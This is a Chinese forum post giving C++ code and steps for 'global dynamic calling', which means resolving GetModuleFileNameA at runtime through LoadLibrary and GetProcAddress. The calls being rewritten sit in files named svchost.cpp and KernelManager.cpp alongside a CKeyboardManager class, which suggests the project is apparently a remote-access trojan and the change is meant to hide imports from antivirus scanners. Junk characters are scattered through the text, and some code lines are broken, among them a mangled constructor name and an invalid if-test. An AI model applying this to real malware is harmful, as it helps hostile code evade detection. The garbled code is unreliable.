返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
9 d2 R) Y8 Y9 e! H% Usvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
! Y: o, e2 U! z4 B+ k----------------------------------------
( m2 E) u8 q, g  YDTDY.h:
: ~/ _, `5 D4 O) X; n9 Z* S+ [
6 s* V+ Q% b9 x: F% u' ?. X#if _MSC_VER>1000$ d7 D; T3 E# k* @; C; _" J
#pragma once2 D! z3 x5 [: w
#endif //_MSC_VER>1000
/ s) s# W2 T# U1 x5 W7 b! B#include<windows.h>
+ \3 N/ W. O/ L* M3 l, T) B) j0 L2 w) p) @
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
* e* u: X) m0 R" hclass DTDY) v1 `  J  a4 q2 ?( a1 A
{
6 C+ H$ u  {' jpublic:
9 A! _' ^9 i# e' eDTDY();' y5 q! ~. c+ D1 m9 a( L
virtual ~DTDY();
! T- @; W, a+ l6 j3 @public:
5 N0 s/ {2 ~( c; vstatic pGetModuleFileNameA MyGetModuleFileName;
1 a) D' _8 u6 ?/ y7 r% D! y/ Mstatic BOOL FunInitiallization();& o2 {% v6 E. F6 ?6 @/ D. K8 Z# B
};
4 c: o, w4 Q% p/ A6 T( P0 B, N#endif
9 Q9 p0 t$ I( j----------------------------------------+ P  Q: h1 m! N8 H, H) u
* T% d! [& |+ y, I; @6 j8 v: }9 D- ~
DTDY.cpp:
; e8 b* J+ N6 x$ ^$ O9 Y9 q, x0 M5 N
5 |8 j! @8 `# Z) G' `* B#include "DTDY.h"
6 w6 t* l  j- {1 g3 zpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;0 \# j" p7 ?; N% ~+ S4 s* b; ?
DTDY:TDY()/ f9 u) }0 {# K- o) P0 I$ e5 q
{
/ s0 D& B- B, B* `}
" l, s3 r7 q6 g* jDTDY::~DTDY()
" N4 r4 `. e2 `{  R8 y7 Z+ k7 P. g9 p3 T* A
}1 l  b7 k* q& J& H$ h( X2 c
BOOL DTDY::FunInitiallization()- I$ Z4 A/ t  d1 r1 z* N, m/ H
{
4 D" V  S. c( e* L$ eHMODULE hModule=LoadLibrary("kernel32.dll");$ }0 U$ W' I5 F4 ~4 v
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
* z3 o: {" D* t% s" Xif(!MyGetModuleFileName=) return FALSE;
( b. O" J( a, r: Y* T
/ s4 a' {7 U. E: s+ oreturn TRUE;4 T% {' g4 M0 Z8 B0 [6 o' U
}( |! G* X5 v% K2 b
----------------------------------------
# I. e' m; X: i4 Z8 T: v- ?' psvchost.cpp:
9 o0 U  J4 t# `- u, p$ @/ M
4 c* Q+ m+ }( b& ?& F#include "DTDY.h"
" d$ ^- \5 [) i/ t0 {2 w& y) f4 L2 A5 C2 u7 y/ e* _4 i
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
+ x2 Y6 Q5 r9 I  u{$ X9 t' t) B6 {# K' q7 A
switch(ul_reason_for_call)6 H( W2 W- b/ ~/ j
{4 Q: b+ C# I- g7 x' [4 y. ?7 N
case DLL_PROCESS_ATTACH:' Y% d( r% _% N) ^: {) g+ ~' I
if(!DTDY::FunInitiallization()) return FALSE;3 U+ E4 g3 `- u2 w5 F( w
$ K, C( P/ Y$ A5 ~
break;6 q' M0 A! v% F) r
}7 S* `! v( ]) \9 |' U  F* b
}) L/ Y) N9 S$ b6 C1 h  ]8 Q4 g0 |/ _& c

4 e1 @* R! q. y6 O
6 j2 o, ^6 J/ q) C' g8 g; m) hGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
; `; A' i# C3 [1 k$ V; t6 r" Z0 L* W改写为
4 N. B1 y5 M6 |# n9 ], ?DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
: z9 p# a' C+ N- @8 Y8 a, |4 g----------------------------------------- o& H: n' ~- q7 }2 E
KernelManager.cpp:' f( R. N$ \& e5 `' J
2 i, u" e$ K2 P+ _# z- I+ B& z. c5 p
#include "../DTDY.h"
3 ^5 E4 z; d1 E$ O) l* J; b9 HGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
4 C+ Q  ?$ a% Y改写为. y3 F' v* [9 h9 Y: F2 p7 \5 E; ^2 R
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));# ~5 ]( s  v0 J$ {/ w4 C! x
----------------------------------------

返回列表